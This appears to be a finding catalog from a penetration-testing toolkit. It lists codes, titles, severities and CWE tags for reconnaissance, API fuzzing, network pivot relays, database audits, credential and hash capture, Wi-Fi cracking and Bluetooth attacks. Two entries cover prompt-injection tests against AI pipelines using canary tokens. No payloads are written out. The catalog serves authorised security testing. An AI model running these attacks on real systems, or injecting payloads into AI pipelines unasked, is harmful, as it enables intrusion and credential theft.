PHX-036 INFO Subdomain Enumeration – Internal Subdomains Discovered — CWE-200
PHX-106 INFO WordPress CMS Plugin Detected — CWE-200
PHX-117 INFO Password Reset Endpoint Exposed — 640
PHX-131 INFO Recon: Application Form / Login Page Identified — 200
PHX-132 INFO Recon: CMS, Virtual Host, or Technology Identified — 200 497
PHX-133 INFO Recon: Interesting Endpoint or Path Discovered — 200 284
PHX-134 INFO Recon: JWT Token or Hidden Parameter Identified — 200 284
PHX-171 INFO SSL Certificate Issuer Transparency — CWE-200
PHX-177 INFO OSINT IP Address Mapping — CWE-200
PHX-191 INFO Recon: Web Application or API Identified — CWE-200
PHX-193 INFO Hostname / DNS Reverse Lookup Information — CWE-200
PI-008 INFO AI Injection Resilient — {category} via {strategy}
The AI pipeline did not follow the injected instruction. The canary token was absent from both the immediate response an...
— —
PI-009 INFO AI Injection Dry Run — {category} via {strategy}
A test file containing an injected adversarial payload was generated but not submitted to a target AI pipeline (--dry-ru...
— —
PIVOT-001 INFO Relay Established Successfully
A pivot relay session was established between pivot-client and pivot-agent. Authentication, TLS handshake, and network p...
— —
PIVOT-002 INFO Authentication Failed — Invalid HMAC Token
The AUTH message sent by a connecting client contained an HMAC-SHA256 digest that did not match the expected value for t...
— —
PIVOT-003 INFO Replay Attack Detected — Nonce Already Used
An AUTH message was received with a nonce that has been used in a previous authentication attempt within the current ses...
— —
PIVOT-004 INFO TLS Handshake Failed
The TLS handshake between pivot-client and pivot-agent failed. Possible causes: certificate not trusted by the client's ...
— —
PIVOT-005 INFO Unauthorised Connection Attempt — IP Not in Allowlist
A connection was received from a source IP that is not present in security.allowed_peers. The connection was rejected af...
— —
PIVOT-006 INFO iptables Rule Applied Successfully
iptables FORWARD and MASQUERADE rules were successfully installed on the relay device for a network profile. IP forwardi...
— —
PIVOT-007 INFO iptables Rule Cleanup Completed
All iptables rules installed for a relay session were removed successfully. ip_forward was reset to its pre-session valu...
— —
PIVOT-008 INFO Relay Chain Established
A multi-hop relay chain was successfully established. The current agent spawned an internal chain_connector (pivot-clien...
— —
PIVOT-009 INFO Connection to Upstream Relay Failed
A chained relay attempted to connect to its configured upstream relay (pivot-agent at upstream.host) but failed. The cha...
— —
PIVOT-010 INFO Certificate Validation Failed — Agent Certificate Not Trusted
The pivot-client rejected the agent's TLS certificate because it could not be validated against the configured CA bundle...
— —
PIVOT-011 INFO mTLS Client Certificate Required
The agent is configured with require_client_cert: true (mutual TLS). Clients must present a valid certificate signed by ...
— —
PIVOT-012 INFO HMAC Verification Failed — Token Mismatch
The HMAC-SHA256 digest computed from the client's nonce and the stored shared secret did not match the digest provided i...
— —
PIVOT-013 INFO iptables Rule Application Failed
The agent could not install required iptables FORWARD or MASQUERADE rules. This prevents traffic forwarding to the targe...
— —
PIVOT-014 INFO Route Installation Failed on Scanner
pivot-client failed to install the OS route for the target CIDR on the scanner machine. The scanner cannot reach the tar...
— —
PIVOT-015 INFO Session Expired — Heartbeat Timeout
The relay session was closed because no HEARTBEAT message was received from the client within the configured heartbeat_t...
— —
PIVOT-016 INFO Maximum Concurrent Sessions Reached
A new connection was rejected because the agent has reached session.max_sessions. No additional relay clients can connec...
— —
PIVOT-017 INFO Protocol Message Too Large
A received message exceeded the maximum permitted payload size (1 MB). The connection was closed. This may indicate a ma...
— —
PIVOT-018 INFO Malformed Protocol Message Received
A message was received that could not be parsed as valid JSON, was missing the required 'type' field, or had a zero-leng...
— —
PIVOT-019 INFO sysctl ip_forward Activation Failed
The agent could not set net.ipv4.ip_forward=1 via sysctl. Without IP forwarding enabled, traffic cannot be relayed betwe...
— —
PIVOT-020 INFO Clean Session Deactivation Completed
The pivot-client sent a DEACTIVATE message and the agent responded with DEACTIVATE_RESPONSE. iptables rules, kernel rout...
— —
SI-001 INFO API Endpoint Discovered (dirsearch)
Siphon discovered an API endpoint via directory and path brute-forcing using dirsearch. The endpoint was not necessarily...
— —
SI-002 INFO API Endpoint Discovered (Feroxbuster)
Siphon discovered an API endpoint via recursive content discovery using Feroxbuster. The endpoint responded with a non-4...
— —
SI-003 INFO API Endpoint Discovered (FFUF)
Siphon discovered an API endpoint using FFUF (Fuzz Faster U Fool), a high-speed web fuzzer. The endpoint returned a resp...
— —
SI-004 INFO API Endpoint Discovered (Kiterunner)
Siphon discovered an API endpoint using Kiterunner, a tool purpose-built for API route discovery that replays real-world...
— —
SI-005 INFO API Framework Identified
Siphon successfully fingerprinted the API framework in use (e.g., FastAPI, Django REST Framework, Spring Boot, Express, ...
— —
SI-006 INFO Undocumented API Endpoint Detected
Siphon detected a live API endpoint that is not present in the provided API specification (OpenAPI/Swagger). Undocumente...
— —
SI-007 INFO Undocumented HTTP Method Accepted
Siphon discovered that a documented API endpoint accepts an HTTP method that is not listed in the API specification. For...
— —
SI-008 INFO Undocumented API Parameter Accepted
Siphon detected that an API endpoint accepts a query or body parameter that is not declared in the API specification. Th...
— —
SI-009 INFO Undocumented Parameter Accepted
Siphon detected that an API endpoint silently accepts an extra parameter that produces a changed or differentiated respo...
— —
SI-010 INFO Endpoint Not in Scope File
Siphon discovered an endpoint that is not listed in the provided scope file. This is an informational flag indicating th...
— —
SI-011 INFO HTTP Method Not in Scope File
Siphon detected an HTTP method being accepted by a scoped endpoint that is not listed in the scope file for that endpoin...
— —
SI-012 INFO GraphQL Subscription Endpoint Detected
Siphon detected a GraphQL subscription endpoint, which enables real-time data push over WebSocket or Server-Sent Events....
— —
SI-013 INFO JWT Contains jku Header
Siphon detected a JWT token containing a jku (JWK Set URL) header parameter. The jku header allows the token to specify ...
— —
SI-015 INFO File Upload Endpoint Detected
Siphon identified an API endpoint that accepts file uploads (multipart/form-data or binary body). File upload endpoints ...
— 200 284
SI-016 INFO Potential Undocumented Upload Endpoint Discovered
Siphon discovered a potential file upload endpoint that is not listed in the API specification. The endpoint was identif...
— —
SI-115 INFO CORS Wildcard (*) Detected
Siphon detected that the API responds with Access-Control-Allow-Origin: * on one or more endpoints. A wildcard CORS poli...
3.7 —
SI-165 INFO Rate Limit Headers Expose Throttling Configuration
API responses include rate-limiting headers (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) that reveal ex...
— CWE-200
SI-167 INFO Web Endpoint Discovered (Katana)
Katana web crawler discovered accessible web paths, JavaScript-referenced endpoints, and linked resources on the target ...
— CWE-200
SS-070 INFO Unnecessary/Outdated Website Available
The website shows indicators of being outdated, abandoned, or unnecessary, such as old copyright dates, under-constructi...
— CWE-1104
SS-088 INFO Information Disclosure: Sensitive Path in robots.txt
The robots.txt file contains Disallow entries for potentially sensitive paths such as admin panels, backup directories, ...
— CWE-200
SS3-001 INFO Live Host Discovered
A host responded to ICMP ping or TCP probe during phase 1 host discovery. The host is alive and will be included in subs...
— —
SS3-002 INFO Open Port Discovered
An open TCP/UDP port was detected on a live host. The service listening on the port will be probed for version informati...
— —
SS3-031 INFO Active Directory Domain Controller Identified
A host with open ports 88 (Kerberos), 389 (LDAP), and/or 3268 (Global Catalog) was identified as a likely Active Directo...
— —
SS3-082 INFO Discovery: Login Page
A web application login page was detected on the target host. Login pages represent the primary authentication attack su...
— 200
SS3-083 INFO Discovery: Web Page
A web page or HTTP service was identified on a non-standard port or host during service enumeration. The URL, title, sta...
— CWE-200
SS3-085 INFO Application Identified at Login Page
The web application framework, CMS, or product was identified from the login page content, headers, cookies, or source c...
— CWE-200
SS3-086 INFO Authentication Method Identified
The authentication mechanism used by the target web application or service was identified. This includes HTTP Basic, NTL...
— CWE-200
SS3-099 INFO SSL/TLS Certificate: Serial Number Entropy
The TLS certificate serial number has low entropy, suggesting it was generated with a non-random or predictable serial n...
— CWE-200
SS3-105 INFO OS Version Detected
The operating system name and version were detected via service banner analysis, TCP/IP stack fingerprinting, or SMB/RPC...
— CWE-200
SS3-108 INFO Software Version Detected
A specific software version was detected on the target host via service banner, HTTP header, or application response fin...
— CWE-200
SS3-180 INFO SSH Configuration: Algorithm Hardening
ssh-audit reports informational-severity recommendations for the SSH server's algorithm configuration. These are not vul...
— CWE-327
SS3-182 INFO VNC: Authentication Required But Accessible
A VNC service is accessible on the network and requires authentication. While authentication is enforced, the service is...
— —
SS3-184 INFO Discovery: WinRM Service
The WinRM service is active and responding on the network. Authentication is required but the service is reachable as an...
— —
SS3-189 INFO Kubernetes API Endpoint Detected
A Kubernetes API endpoint was detected on the network. Authentication is enforced but the endpoint's presence confirms a...
— —
SS3-195 INFO MQTT Broker Detected
An MQTT broker was detected on the network. Authentication is enforced (CONNACK rejected unauthenticated connection).
— —
SS3-197 INFO RabbitMQ Management UI Exposed
The RabbitMQ management UI on port 15672 is accessible on the network. Default credentials were rejected, indicating cus...
— —
SS3-198 INFO AMQP Service Detected
An AMQP service was detected on port 5672. The protocol header exchange confirmed the service accepts AMQP 0-9-1 connect...
— —
SS3-213 INFO Discovery: O365 Tenant Detected
The target domain uses Microsoft 365 / Azure AD for email and authentication. MX records point to *.protection.outlook.c...
— —
SS3-216 INFO X11 Display Detected (Authentication Required)
An X11 display server is running but requires authentication to connect. The X11 protocol handshake was rejected with an...
— —
AE-001 Multiple APs Broadcasting SSID: {ssid_label} — —
AE-002 WPA Handshake / PMKID Captured: {ssid} — —
AE-003 WPA Pre-Shared Key Cracked via Deauth: {ssid} — —
AE-004 WPA Pre-Shared Key Cracked: {ssid} — —
AE-005 WPS PIN / Pixie Dust Succeeded: {ssid} — —
AP-001 AuthProbe Discovery: {host} — —
AP-002 Missing Security Header: {header} — —
AP-003 HTTP Basic Authentication in Use — —
AU-001 CouchDB Default Credentials: {user}/{pwd} — —
AU-002 End-of-Life Cassandra Version: {ver} — —
AU-003 End-of-Life Elasticsearch Version: {ver} — —
AU-004 End-of-Life MongoDB Version: {ver} — —
AU-005 End-of-Life MSSQL Version: SQL Server {yr} — —
AU-006 End-of-Life MySQL/MariaDB Version: {ver} — —
AU-007 End-of-Life Oracle Database Version: {ver} — —
AU-008 End-of-Life PostgreSQL Version: {ver_num} — —
AU-009 End-of-Life Redis Version: {ver} — —
AU-010 InfluxDB Default Credentials: {user}/{pwd} — —
AU-011 Neo4j Dangerous Procedure Publicly Accessible: {name} — —
AU-012 Neo4j Default Credentials: {user}/{pwd} — —
AU-013 Audit Logging Disabled — —
AU-014 Cassandra: AllowAllAuthenticator Configured (No Authentication) — —
AU-015 Cassandra: Client-to-Server Encryption Disabled — —
AU-016 Cassandra: Default cassandra/cassandra Credentials in Use — —
AU-017 Cassandra: Multiple Superuser Accounts — —
AU-018 Cleartext Database Protocol (No TLS/SSL) — —
AU-019 CouchDB Admin Party Mode — No Admin Accounts Configured — —
AU-020 CouchDB Node Configuration Exposed Without Authentication — —
AU-021 CouchDB: Unauthenticated Access to /_all_dbs — —
AU-022 Dangerous Oracle PUBLIC Execute Grants (UTL_FILE/DBMS_SQL etc.) — —
AU-023 Database Listening on All Network Interfaces (0.0.0.0) — —
AU-024 Default Credentials in Use — —
AU-025 Elasticsearch: Index Enumeration Without Authentication — —
AU-026 Elasticsearch: Security Features Disabled (X-Pack Security) — —
AU-027 Elasticsearch: Unauthenticated Cluster Information Exposed — —
AU-028 Excessive Oracle System Privileges Granted to Non-SYS Accounts — —
AU-029 Expired TLS Certificate — —
AU-030 InfluxDB 2.x Buckets Exposed Without Authentication — —
AU-031 InfluxDB 2.x Initial Setup Not Completed — —
AU-032 InfluxDB 2.x: Authorizations Endpoint Accessible Without Token — —
AU-033 Memcached: Cached Data Keys Enumerable Without Authentication — —
AU-034 Memcached: No Authentication (SASL Not Supported) — —
AU-035 Memcached: Runtime Statistics Accessible Without Authentication — —
AU-036 Memcached: SASL Authentication Disabled — —
AU-037 MongoDB: Authentication Disabled — —
AU-038 MongoDB: No TLS/SSL Configured — —
AU-039 MongoDB: Server-Side JavaScript Execution Enabled — —
AU-040 MongoDB: User with Root or __system Role — —
AU-041 MSSQL: Ad Hoc Distributed Queries Enabled — —
AU-042 MSSQL: BUILTIN\\Administrators in Sysadmin Role — —
AU-043 MSSQL: CLR Integration Enabled — —
AU-044 MSSQL: Database Mail Enabled — —
AU-045 MSSQL: Linked Servers Configured — —
AU-046 MSSQL: Mixed Mode Authentication with SQL Logins Not Subject to Password Policy — —
AU-047 MSSQL: OLE Automation Procedures Enabled — —
AU-048 MSSQL: SA Account Enabled — —
AU-049 MSSQL: Transparent Data Encryption (TDE) Not Enabled — —
AU-050 MSSQL: xp_cmdshell Enabled — —
AU-051 MySQL: Anonymous User Account Present — —
AU-052 MySQL: General Query Log Enabled — —
AU-053 MySQL: LOCAL INFILE Enabled — —
AU-054 MySQL: Password Validation Plugin Not Installed — —
AU-055 MySQL: Password Validation Policy Set to LOW — —
AU-056 MySQL: Root Account Accessible Remotely — —
AU-057 MySQL: secure_file_priv Not Configured — —
AU-058 MySQL: sql_mode Too Permissive — —
AU-059 MySQL: Symlink Support Enabled — —
AU-060 MySQL: Test Database Present and Accessible — —
AU-061 MySQL: TLS Not Required (Optional Only) — —
AU-062 MySQL: User Account with Wildcard Host (%) — —
AU-063 Neo4j Authentication Disabled (dbms.security.auth_enabled=false) — —
AU-064 Neo4j Cluster Mode Detected — Verify Firewall Isolation — —
AU-065 Oracle Accounts Using Weak 10g DES Password Hash — —
AU-066 Oracle Default Sample Schema Accounts Active — —
AU-067 Oracle Label Security (OLS) Not Enabled — —
AU-068 Oracle REMOTE_OS_AUTHENT Enabled — —
AU-069 Oracle Unified Auditing Disabled — —
AU-070 Oracle UTL_FILE_DIR Wildcard — Arbitrary File Read/Write — —
AU-071 PostgreSQL: Connection Logging Disabled — —
AU-072 PostgreSQL: COPY TO/FROM PROGRAM Feature Accessible — —
AU-073 PostgreSQL: Dangerous Extensions Installed — —
AU-074 PostgreSQL: Excessive Permissions on Public Schema — —
AU-075 PostgreSQL: Row-Level Security Not Enabled on Sensitive Tables — —
AU-076 PostgreSQL: Superuser Account Accessible Remotely — —
AU-077 PostgreSQL: Weak Password Encryption (MD5) — —
AU-078 Redis: Dangerous Commands Not Renamed or Disabled — —
AU-079 Redis: Default ACL User Has Full Access (nopass +@all) — —
AU-080 Redis: No Authentication Configured (requirepass Not Set) — —
AU-081 Redis: Protected Mode Disabled — —
AU-082 Self-Signed or Expired TLS Certificate — —
AU-083 Sensitive Data Columns Identified (Potential PII/PHI/PCI Scope) — —
AU-084 Weak Cipher Suites Accepted — —
AU-085 Weak TLS Version (TLS 1.0 or TLS 1.1) — —
FR-341 Admin Panel Exposed: {apath} — —
FR-342 CDN Active: {_recon_cdn} — —
FR-343 CMS Detected: {cms} — —
FR-344 Credentials/Secret in JavaScript: {secret_type} — —
FR-345 Deprecated Protocol Enabled: {_tsf_proto} — —
FR-346 Endpoint-Specific Security Header Found: {_hn} — —
FR-347 Exposed Admin/Debug Endpoint: {path} — —
FR-348 Hidden Parameter Discovered: {param} — —
FR-349 HTTP Header Fingerprints {_fp_tech}: {hdr_name} — —
FR-350 HTTP Header Fingerprints {_pn_fp_tech}: {pname} — —
FR-351 HTTP Method Tampering: {method} Accepted — —
FR-352 JWT Token Identified: Algorithm {alg} — —
FR-353 Missing Security Header: {_hdr_name} — —
FR-354 Missing Security Header: {_hn} — —
FR-355 Missing Security Header: {hdr_name} — —
FR-356 Missing Security Header: {hdr} — —
FR-357 Nuclei: {ntitle} — —
FR-358 PHP Error Log Exposed: {_el} — —
FR-359 Potential CDN Origin Bypass: {_recon_cdn} — —
FR-360 Public Exploit Available: {term} — —
FR-361 Sensitive File Exposed: {fpath} — —
FR-362 Sensitive Information in Source: {_sp_label} — —
FR-363 Sensitive Path Accessible: {cpath} — —
FR-364 Sensitive WordPress Path Accessible: {_ep} — —
FR-365 Server-Side Request Forgery (SSRF) — {ssrf_desc} — —
FR-366 Software Version Disclosed: {_vname} {_vver} — —
FR-367 SSL/TLS Grade: {_ts_grade} — —
FR-368 SSL/TLS Vulnerability (Potential): {_tsf_id} — —
FR-369 SSL/TLS Vulnerability: {_tsf_id} — —
FR-370 Subdomain Takeover Indicator ({service}) — —
FR-371 Subdomain Takeover — Dangling CNAME ({service}) — —
FR-372 TimThumb Script Detected: {_t_name}{_tv2_str} — —
FR-373 Unauthenticated {_bi_name} Access: {_bi_desc} — —
FR-374 Unknown Header Identified: {hdr_name} — —
FR-375 Unknown Header Identified: {pname} — —
FR-376 Virtual Host Discovered: {full_vhost} — —
FR-377 WAF / Edge Security Platform Active: {_waf_names} — —
FR-378 WAF/CDN Challenge Page Active: {waf_cdn} — —
FR-379 WAF/CDN IP Block Detected: {waf_cdn} — —
FR-380 WAF/CDN Possible Session Termination: {waf_cdn} — —
FR-381 WAF/CDN Session Termination Detected: {waf_cdn} — —
FR-382 Web Cache Poisoning: {_wcp_hdr} Reflected — —
FR-383 Wildcard (*) Detected: {url} — —
FR-384 WordPress Backup/Export File Exposed: {_bkp} — —
FR-385 WordPress Configuration Backup Exposed: {_cb} — —
FR-386 WordPress Directory Listing Enabled: {_dp} — —
FR-387 WordPress Parent Theme Detected: {_pt_name}{_pt_ver_str} — —
FR-388 WordPress Plugins Detected in Page Source ({len(_passive_plugins)} plugin(s)) — —
FR-389 WordPress User Enumeration via Author Archives ({len(_author_users)} user(s)) — —
FR-390 WordPress Users Exposed via REST API ({len(_ru_extracted)} user(s)) — —
FR-391 Information Disclosure: WordPress Version — —
FR-392 Authentication Failure Detected — —
FR-393 Login Page Identified — —
FR-394 Missing Security Headers — —
FR-395 Multi-Factor Authentication Detected — —
FR-396 No Web Structure Identified — —
FR-397 SSL/TLS Certificate: Chain Incomplete 3.7 CWE-295 CWE-326
FR-398 SSL/TLS Certificate: Long Duration 3.7 CWE-295 CWE-326
FR-399 SSL/TLS Certificate: Missing SAN 3.7 CWE-295 CWE-326
FR-400 SSL/TLS Certificate: Serial Number Entropy — CWE-200
FR-401 SSL/TLS Certificate: Weak Encryption Method 3.7 CWE-295 CWE-326
FR-402 SSL/TLS Cipher: No Cipher Order Configured 5.9 CWE-326 CWE-327
FR-403 SSL/TLS Ciphers: Obsolete Ciphers 5.9 CWE-326 CWE-327
FR-404 SSL/TLS Session: Long Duration 5.9 CWE-326 CWE-327
GB-001 CEC Bus Devices Discoverable Without Authentication — {self.ctx.instance_key} — —
GB-002 CEC Devices Enumerated — {self.ctx.instance_key} — —
GB-003 CEC Power State Exposed — Unauthorised Control Possible — {self.ctx.instance_key} — —
GB-004 CEC Scan Complete — No Devices Responded — {self.ctx.instance_key} — —
GB-005 Cleartext Credential Captured — {user} — —
GB-006 Cleartext Credentials Captured — {user} — —
GB-007 DDC/CI Display Control Channel Accessible — {self.ctx.instance_key} — —
GB-008 DDC/CI Interface Accessible — {self.ctx.instance_key} — —
GB-009 Default Page Detected — {label} ({url}) — —
GB-010 Default/Test Page Exposed — {label} at {url} — —
GB-011 Devices Discovered via DHCP — {self.ctx.instance_key} — —
GB-012 DHCP Leases Issued — {self.ctx.instance_key} — —
GB-013 Display Info Retrieved — {self.ctx.instance_key} — —
GB-014 EDID Data Retrieved — {self.ctx.instance_key} — —
GB-015 EDID Extension Blocks Present — {self.ctx.instance_key} — —
GB-016 Ethernet Link Detected — {self.ctx.instance_key} — —
GB-017 Ethernet Port Disabled — {self.ctx.instance_key} — —
GB-018 FTP Bounce Attack Possible — {ip}:{port} — —
GB-019 FTP Service Analysis — {ip}:{port} — —
GB-020 HDCP Negotiation Incomplete — {self.ctx.instance_key} — —
GB-021 HDCP Not Enforced — {self.ctx.instance_key} — —
GB-022 HDCP Status Not Readable — {self.ctx.instance_key} — —
GB-023 HDCP Status Read — {self.ctx.instance_key} — —
GB-024 HID Attack Device Executed Payload — {self.ctx.instance_key} — —
GB-025 Interesting Protocols Detected — {self.ctx.instance_key} — —
GB-026 Keyboard Shortcut Access — {self.ctx.instance_key} — —
GB-027 Local File Inclusion - {body} — —
GB-028 Local File Inclusion - {software} — —
GB-029 Missing Security Header: {_hdr} — —
GB-030 Missing Security Header: {header_name} — —
GB-031 Network Configuration Established — {self.ctx.instance_key} — —
GB-032 Network Configuration via DHCP — {self.ctx.instance_key} — —
GB-033 NFS Enumeration — {ip} — —
GB-034 NFS Insecure Export Options — {ip} — —
GB-035 NFS Share Exposed — {ip} — —
GB-036 Responder Capture Log — {self.ctx.instance_key} — —
GB-037 RFID Credential Replay Successful — {self.ctx.instance_key} — —
GB-038 RFID Scan Results — {self.ctx.instance_key} — —
GB-039 Robots.txt File Found ({fip}:{fprt}) — —
GB-040 Screenshot Captured — {url} — —
GB-041 screenshot_{safe_tag} — —
GB-042 Security Headers Analysis — {url} — —
GB-043 Security Headers Check — {url} — —
GB-044 Service Banner — {ip}:{port} ({svc}) — —
GB-045 SMB Service Analysis — {ip}:{port} — —
GB-046 SSH Audit — {ip}:{port} — —
GB-047 SSH Service Analysis — {ip}:{port} — —
GB-048 SSL Certificate Issuer — {issuer} — —
GB-049 SSL/TLS - {proto} Enabled — —
GB-050 SSL/TLS Assessment — {ip}:{port} — —
GB-051 TLS Certificate — {url} — —
GB-052 Traffic Capture — Boot Sequence ({self.ctx.instance_key}) — —
GB-053 Traffic Capture — Running Operation ({self.ctx.instance_key}) — —
GB-054 Traffic Capture — Shutdown Sequence ({self.ctx.instance_key}) — —
GB-055 Unencrypted Protocol Detected: {_proto_name} — {_hip}:{_portid} — —
GB-056 USB HID Keyboard Accepted — {self.ctx.instance_key} — —
GB-057 USB Mass Storage Accepted — {self.ctx.instance_key} — —
GB-058 USB Mass Storage Partially Accepted — {self.ctx.instance_key} — —
GB-059 Web Assessment — {url} — —
GB-060 Web Links Extracted — {url} — —
GB-061 Web Spider Results — {url} — —
GB-062 Zigbee Device Susceptible to Flooding on {self.ctx.instance_key} — —
GB-063 __FP_SKIP__ — —
GB-064 Certificate Hostname Mismatch — —
GB-065 Data Leakage: Serial Traffic Sniffable — —
GB-066 DB9 Port: No Active Protocol Detected — — —
GB-067 NTLMv2 Hash Captured via Responder — —
GB-068 Plaintext CAN Traffic Captured — —
GB-069 Responder Captured NTLMv1 Hashes — —
GB-070 screenshot — —
GB-071 Serial Port Responds to Commands — — —
OS-001 Phone Number Pattern Spotted - Unconfirmed 3.7 CWE-359 CWE-200
OS-002 Social Security pattern detected: 7.5 CWE-359 CWE-200
SI-116 HTTP Method Override Accepted — {override_method} via {override_hdr} — —
SI-117 Mass Assignment — {attack_label.title()} Accepted — —
SI-118 Sensitive File Exposed: {fpath} — —
SI-119 Wildcard (*) Detected: {base_url} — —
SI-120 Broken Object Level Authorization (IDOR / BOLA) 8.1 CWE-639
SI-121 CORS Misconfiguration Allowing Credential Leakage 7.4 CWE-942
SI-122 CRLF Injection 6.1 93 113
SI-123 JWT Algorithm Confusion Attack (RS256 → HS256) — —
SI-124 JWT None Algorithm Authentication Bypass 9.1 CWE-347
SI-125 LDAP Injection 7.5 CWE-90
SI-126 Mass Assignment / Privilege Escalation via Parameter Binding 8.1 CWE-915
SI-127 NoSQL Injection 8.1 CWE-943
SI-128 OS Command Injection 9.8 CWE-20 CWE-77 CWE-78
SI-129 Path Traversal / Local File Inclusion 7.5 CWE-22 CWE-23 CWE-35
SI-131 Unsafe Consumption — Open Redirect to External URL 6.1 CWE-20 CWE-601
SI-132 Unsafe Consumption — Serialization Markers in API Response 8.1 CWE-502
SI-133 Weak or Default Credentials Accepted 9.8 CWE-1392
SI-134 XML External Entity (XXE) Injection 8.1 CWE-611 CWE-827
SS-001 [Nuclei] {title} — —
SS-002 Apache Tomcat Manager Login Page Detected: {url} — —
SS-003 Discovery: Default Webpage — —
SS-004 Deprecated Protocol Enabled: {_norm_proto} — —
SS-005 Deprecated Protocol Enabled: {_TESTSSL_PROTO_IDS[_tsf_id]} — —
SS-006 Deprecated Protocol Enabled: {proto} — —
SS-007 EOL Software (Extended Support): {software_name} {version} — —
SS-008 EOL Software: {software_name} {version} — —
SS-009 Insecure Protocol Detected: {_insec_name} — —
SS-010 IPMI Cipher Suite 0 Auth Bypass Confirmed — user={user} — —
SS-011 Known Vulnerability: {software_name} {version} — {cve_desc} — —
SS-012 libSSH Authentication Bypass (CVE-2018-10933) — v{ver} — —
SS-013 Metasploit Module Available: {cve} — —
SS-014 Missing Security Header: {header_name} — —
SS-015 MySQL CVE-2012-2122 Authentication Bypass Risk (v{server_ver}) — —
SS-016 NFS Export Enumerated: {_export_path} — —
SS-017 OS End-of-Life (Extended Support): {label} — —
SS-018 OS End-of-Life: {label} — —
SS-019 OS Version Detected: {final_os} — —
SS-020 Public Exploit Available: {cve} — —
SS-021 Responder Captured {ht} Hashes — —
SS-022 Responder Captured {proto} Credentials — —
SS-023 SMB Share Enumerated: \\\\{ip}\\{share} — —
SS-024 SMB Share Exists (No Access): {share_name} — —
SS-025 SMB Share Read Access: {share_name} — —
SS-026 Software Version Detected: {_sw_label} — —
SS-028 SSL/TLS Vulnerability (Potential): {_tsf_id} — —
SS-029 SSL/TLS Vulnerability: {_tsf_id} — —
SS-030 SSL/TLS Vulnerability: {name} — —
SS-031 Valid Credentials via Brute Force ({svc.upper()}) — —
SS-032 VMware ESXi Management Interface Exposed{ver_str}{build_str} — —
SS-033 Vulners: {cve_id} (CVSS {score}) — —
SS-034 WordPress Core Vulnerability: {vuln_title[:80]} — —
SS-035 WordPress Plugin Vulnerability: {vuln_title[:65]} ({plugin_slug}) — —
SS-036 WordPress Theme Vulnerability: {vuln_title[:70]} ({theme_slug}) — —
SS-037 FTP Anonymous Login Permitted — —
SS-038 Heartbleed (CVE-2014-0160) — —
SS-039 Heartbleed (CVE-2014-0160) Vulnerability Detected 7.5 CWE-125
SS-040 Discovery: Hostname — CWE-200
SS-041 LLMNR/NBT-NS Broadcast Poisoning Possible 8.8 CWE-294 CWE-311 CWE-306
SS-042 Misconfigured Secure Cookie Attribute: SameSite 4.3 614 1004 1275
SS-043 Missing Secure Cookie Attribute: HttpOnly 4.3 614 1004 1275
SS-044 Missing Secure Cookie Attribute: SameSite 4.3 614 1004 1275
SS-045 Missing Secure Cookie Attribute: Secure 4.3 614 1004 1275
SS-046 Missing Security Headers — —
SS-047 MSSQL Vulnerability (msdat) 9.8 CWE-287 CWE-521
SS-048 Open Port — —
SS-049 Discovery: Open Ports — —
SS-050 Oracle Database Vulnerability (odat) 9.8 CWE-287 CWE-521
SS-051 Plaintext Credentials in Web File — —
SS-052 Reflected Cross-Site Scripting (XSS) 7.4 CWE-79 CWE-116
SS-053 Responder Captured Plaintext Credentials — —
SS-054 SMB Signing Disabled or Not Required — —
SS-055 SNMP Default Community String Accepted — —
SS-056 SQL Injection (Error-Based) 9.8 CWE-20 CWE-89 CWE-943
SS-057 Discovery: SSL/TLS Certificate — —
SS-058 SSL/TLS Certificate: Self-Signed — —
SS-059 SSL/TLS Ciphers: No Cipher Order Configured — —
SS-060 SSL/TLS DNS: Missing CAA Record 3.7 295 16
SS-061 SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED] — —
SS-062 SSL/TLS Vulnerability: insecure_redirect — —
SS-063 SSL/TLS Vulnerability: ipv4_in_header — —
SS-064 SSL/TLS Vulnerability: secure_client_renego — —
SS-065 SSL/TLS Vulnerability: TLS_misses_extension_23 — —
SS-066 Weak Cipher Category Offered 5.9 CWE-326 CWE-327
SS-067 SSL/TLS Ciphers: Weak Cipher 5.9 CWE-326 CWE-327
SS-068 Weak or Default Credentials Accepted 9.8 CWE-1392
AETHB-001 INFO KNOB Attack — Bluetooth Entropy Reduction
The Key Negotiation of Bluetooth (KNOB) attack allows an attacker in wireless range to force Bluetooth BR/EDR connection...
9.3 —
AETHB-002 INFO BIAS Attack — Bluetooth Impersonation and Authentication Bypass
The Bluetooth Impersonation Attack (BIAS) exploits weaknesses in the Bluetooth Classic (BR/EDR) legacy secure connection...
9.1 —
AETHB-003 INFO BLUFFS Attack — Forward Secrecy Broken in Bluetooth Sessions
BLUFFS (Bluetooth Forward and Future Secrecy) is a set of six attacks against the Bluetooth session establishment proced...
8.2 —
AETHB-004 INFO BLE Legacy Pairing — Crackable Temporary Key (TK)
Bluetooth Low Energy devices using the legacy pairing procedure (SMP v1) with Just Works or Passkey Entry methods are vu...
8.0 —
AETHB-005 INFO Bluetooth PIN Brute Force — Short PIN or Static Passkey
Bluetooth Classic devices using the legacy PIN-based pairing procedure (pre-SSP) or BLE devices using Passkey Entry with...
7.5 —
AETHB-006 INFO Unauthenticated GATT Characteristics — Sensitive Data Exposed Without Authentication
One or more GATT characteristics exposing sensitive data (e.g., health metrics, device configuration, credentials, telem...
6.5 —
AETHB-007 INFO GATT Write Without Response — Unauthenticated Command Injection
One or more GATT characteristics support the Write Without Response (ATT_WRITE_CMD) operation without requiring an authe...
6.8 —
AETHB-008 INFO BlueToolkit CVE Exploitation — Remote Code Execution via Known Bluetooth Stack CVE
The target Bluetooth device is running a firmware or Bluetooth stack version affected by one or more publicly known CVEs...
8.5 —
AETHB-009 INFO SDP Information Disclosure — Service Discovery Leaks Internal Service Information
The Bluetooth Service Discovery Protocol (SDP) on the target device responds to unauthenticated browse requests with det...
4.0 —
AETHB-010 INFO Bluetooth Eavesdropping — Passive Capture of Unencrypted BR/EDR Traffic
Bluetooth Classic (BR/EDR) traffic between the target and one or more paired devices was observed in cleartext or with a...
6.5 —
AETHB-011 INFO BLE Beacon Tracking — Static MAC Address Enables Persistent Device Tracking
The target BLE device broadcasts advertising packets containing a static or non-rotating public MAC address, allowing an...
3.7 —
AETHB-012 INFO Insecure BLE Pairing Mode — Just Works Pairing with No Authentication
The target BLE device accepts pairing using the Just Works association model, which provides no protection against man-i...
5.9 —
AETHB-013 INFO GATTacker MITM — BLE Man-in-the-Middle via Device Cloning
The target BLE device is susceptible to a man-in-the-middle attack using GATTacker, a tool that clones the GATT service ...
7.8 —
